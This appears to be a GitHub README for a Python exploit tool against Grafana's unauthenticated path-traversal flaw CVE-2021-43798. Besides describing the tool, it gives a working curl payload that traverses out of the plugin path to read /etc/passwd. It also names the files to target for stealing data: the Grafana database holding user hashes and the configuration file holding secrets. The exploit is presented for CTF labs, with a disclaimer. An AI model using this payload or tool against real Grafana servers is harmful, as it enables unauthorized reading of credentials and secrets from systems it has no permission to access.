🚀 Grafana LFI Exploit (CVE-2021-43798)

Automation script in Python 3 to exploit the Local File Inclusion (LFI) vulnerability in Grafana (versions 8.0.0 to 8.3.0). This exploit allows directory traversal to read sensitive operating system files without authentication.

✨ Features

Python 3.10+ compatibility: Patched to work with modern Python versions (collections.Mapping fix).
Batch scanning: Ability to process multiple targets using a targets.txt file.
Data decryption: Includes modules for handling Grafana sessions and encrypted data.
Optimized for CTF: Clean and direct output, ideal for labs like HackTheBox and TryHackMe.

🛠️ Requirements and Installation

Due to old library dependencies, it is recommended to install the following packages:

pip3 install PyInquirer termcolor requests pycryptodome --break-system-packages

Note: If you use Python 3.10 or above, the script includes an automatic patch for collections.abc compatibility.

🚀 Usage

Configure targets: Add the URLs (with port) in the targets.txt file.
```
echo "http://10.129.234.47:3000" > targets.txt
```
Run the exploit:
```
python3 exploit.py
```

🎯 Common reading targets (LFI)

Once executed, you can try to read critical files like:

/etc/passwd (System users)
/var/lib/grafana/grafana.db (Database with user hashes)
/etc/grafana/grafana.ini (Configuration and secrets)

💡 Alternative Method (Manual)

If you prefer not to use the script, you can exploit the LFI directly via curl:

curl --path-as-is "http://<TARGET_IP>:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"

⚠️ Disclaimer

This repository has been created for educational purposes only and for use in controlled environments (CTFs, labs). The author is not responsible for the misuse of this tool.

🏷️ Topics (Tags)

grafana, cve-2021-43798, lfi, exploit, pentesting, hackthebox, python3, directory-traversal

-Grafana-LFI-CVE-2021-43798

Most Popular